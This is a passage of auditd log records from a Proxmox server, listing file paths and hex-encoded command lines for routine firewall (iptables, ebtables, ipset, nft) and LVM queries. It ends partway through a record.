{"@timestamp":1781966065366,"@rawstring":"node=pve type=PATH msg=audit(1781966065.366:68285): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235525,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965235.525:64734): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966065361,"@rawstring":"node=pve type=PATH msg=audit(1781966065.361:68284): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235509,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965235.509:64733): proctitle=\"ip6tables-save\""} {"@timestamp":1781966065361,"@rawstring":"node=pve type=PATH msg=audit(1781966065.361:68284): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235503,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965235.503:64732): proctitle=\"iptables-save\""} {"@timestamp":1781966065361,"@rawstring":"node=pve type=PATH msg=audit(1781966065.361:68284): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235495,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965235.495:64731): proctitle=69707365740073617665"} {"@timestamp":1781966065347,"@rawstring":"node=pve type=PATH msg=audit(1781966065.347:68283): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235486,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965235.486:64730): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966065347,"@rawstring":"node=pve type=PATH msg=audit(1781966065.347:68283): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235479,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965235.479:64729): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966065340,"@rawstring":"node=pve type=PATH msg=audit(1781966065.340:68282): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235005,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965235.005:64728): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781966065340,"@rawstring":"node=pve type=PATH msg=audit(1781966065.340:68282): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965234984,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965234.984:64727): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966065335,"@rawstring":"node=pve type=PATH msg=audit(1781966065.335:68281): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965232262,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965232.262:64726): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966065335,"@rawstring":"node=pve type=PATH msg=audit(1781966065.335:68281): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965232261,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965232.261:64725): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966065323,"@rawstring":"node=pve type=PATH msg=audit(1781966065.323:68280): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965232261,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965232.261:64724): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966065323,"@rawstring":"node=pve type=PATH msg=audit(1781966065.323:68280): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965232252,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965232.252:64723): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966065315,"@rawstring":"node=pve type=PATH msg=audit(1781966065.315:68279): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965232252,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965232.252:64722): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966065315,"@rawstring":"node=pve type=PATH msg=audit(1781966065.315:68279): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965232252,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965232.252:64721): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966065262,"@rawstring":"node=pve type=PATH msg=audit(1781966065.262:68278): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965227244,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965227.244:64720): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966065262,"@rawstring":"node=pve type=PATH msg=audit(1781966065.262:68278): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965227244,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965227.244:64719): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966065262,"@rawstring":"node=pve type=PATH msg=audit(1781966065.262:68277): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965227244,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965227.244:64718): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966065262,"@rawstring":"node=pve type=PATH msg=audit(1781966065.262:68276): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965227235,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965227.235:64717): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966065253,"@rawstring":"node=pve type=PATH msg=audit(1781966065.253:68275): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965227235,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965227.235:64716): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966065253,"@rawstring":"node=pve type=PATH msg=audit(1781966065.253:68275): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965227235,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965227.235:64715): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966065253,"@rawstring":"node=pve type=PATH msg=audit(1781966065.253:68274): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225463,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965225.463:64714): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966065253,"@rawstring":"node=pve type=PATH msg=audit(1781966065.253:68273): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225454,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965225.454:64713): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966064253,"@rawstring":"node=pve type=PATH msg=audit(1781966064.253:68272): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225454,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965225.454:64712): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966064253,"@rawstring":"node=pve type=PATH msg=audit(1781966064.253:68272): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225454,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965225.454:64711): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966064226,"@rawstring":"node=pve type=PATH msg=audit(1781966064.226:68271): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225447,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965225.447:64710): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966064226,"@rawstring":"node=pve type=PATH msg=audit(1781966064.226:68271): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225436,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965225.436:64709): proctitle=\"ip6tables-save\""} {"@timestamp":1781966060243,"@rawstring":"node=pve type=PATH msg=audit(1781966060.243:68270): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225420,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965225.420:64708): proctitle=\"iptables-save\""} {"@timestamp":1781966060243,"@rawstring":"node=pve type=PATH msg=audit(1781966060.243:68270): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225408,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965225.408:64707): proctitle=\"ip6tables-save\""} {"@timestamp":1781966060243,"@rawstring":"node=pve type=PATH msg=audit(1781966060.243:68269): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225395,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965225.395:64706): proctitle=\"iptables-save\""} {"@timestamp":1781966060243,"@rawstring":"node=pve type=PATH msg=audit(1781966060.243:68268): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225393,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965225.393:64705): proctitle=\"ebtables-restore\""} {"@timestamp":1781966060232,"@rawstring":"node=pve type=PATH msg=audit(1781966060.232:68267): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225390,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965225.390:64704): proctitle=\"ebtables-restore\""} {"@timestamp":1781966060232,"@rawstring":"node=pve type=PATH msg=audit(1781966060.232:68267): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225384,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965225.384:64703): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966060232,"@rawstring":"node=pve type=PATH msg=audit(1781966060.232:68266): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225377,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965225.377:64702): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966060232,"@rawstring":"node=pve type=PATH msg=audit(1781966060.232:68265): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225373,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965225.373:64701): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966055303,"@rawstring":"node=pve type=PATH msg=audit(1781966055.303:68264): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225367,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965225.367:64700): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966055303,"@rawstring":"node=pve type=PATH msg=audit(1781966055.303:68264): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225361,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965225.361:64699): proctitle=697073657400726573746F7265"} {"@timestamp":1781966055301,"@rawstring":"node=pve type=PATH msg=audit(1781966055.301:68263): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225354,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965225.354:64698): proctitle=\"ip6tables-save\""} {"@timestamp":1781966055301,"@rawstring":"node=pve type=PATH msg=audit(1781966055.301:68263): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225347,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965225.347:64697): proctitle=\"iptables-save\""} {"@timestamp":1781966055299,"@rawstring":"node=pve type=PATH msg=audit(1781966055.299:68262): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225343,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965225.343:64696): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966055299,"@rawstring":"node=pve type=PATH msg=audit(1781966055.299:68262): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225341,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965225.341:64695): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966055299,"@rawstring":"node=pve type=PATH msg=audit(1781966055.299:68261): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225339,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965225.339:64694): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966055294,"@rawstring":"node=pve type=PATH msg=audit(1781966055.294:68260): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225339,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965225.339:64693): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966055294,"@rawstring":"node=pve type=PATH msg=audit(1781966055.294:68260): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225335,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965225.335:64692): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966055294,"@rawstring":"node=pve type=PATH msg=audit(1781966055.294:68260): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225327,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965225.327:64691): proctitle=\"ip6tables-save\""} {"@timestamp":1781966055286,"@rawstring":"node=pve type=PATH msg=audit(1781966055.286:68259): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225318,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965225.318:64690): proctitle=\"iptables-save\""} {"@timestamp":1781966055286,"@rawstring":"node=pve type=PATH msg=audit(1781966055.286:68259): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225311,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965225.311:64689): proctitle=69707365740073617665"} {"@timestamp":1781966055278,"@rawstring":"node=pve type=PATH msg=audit(1781966055.278:68258): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225303,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965225.303:64688): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966055278,"@rawstring":"node=pve type=PATH msg=audit(1781966055.278:68258): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225295,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965225.295:64687): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966055270,"@rawstring":"node=pve type=PATH msg=audit(1781966055.270:68257): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965224895,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965224.895:64686): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781966055270,"@rawstring":"node=pve type=PATH msg=audit(1781966055.270:68257): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965224873,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965224.873:64685): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966055261,"@rawstring":"node=pve type=PATH msg=audit(1781966055.261:68256): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965222230,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965222.230:64684): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966055261,"@rawstring":"node=pve type=PATH msg=audit(1781966055.261:68256): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965222230,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965222.230:64683): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966055253,"@rawstring":"node=pve type=PATH msg=audit(1781966055.253:68254): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965222230,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965222.230:64682): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966055253,"@rawstring":"node=pve type=PATH msg=audit(1781966055.253:68254): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965222220,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965222.220:64681): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966055247,"@rawstring":"node=pve type=PATH msg=audit(1781966055.247:68253): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965222220,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965222.220:64680): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966055247,"@rawstring":"node=pve type=PATH msg=audit(1781966055.247:68253): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965222220,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965222.220:64679): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966055242,"@rawstring":"node=pve type=PATH msg=audit(1781966055.242:68252): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965217209,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965217.209:64678): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966055242,"@rawstring":"node=pve type=PATH msg=audit(1781966055.242:68252): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965217209,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965217.209:64677): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966055236,"@rawstring":"node=pve type=PATH msg=audit(1781966055.236:68251): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965217209,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965217.209:64676): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966055236,"@rawstring":"node=pve type=PATH msg=audit(1781966055.236:68251): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL 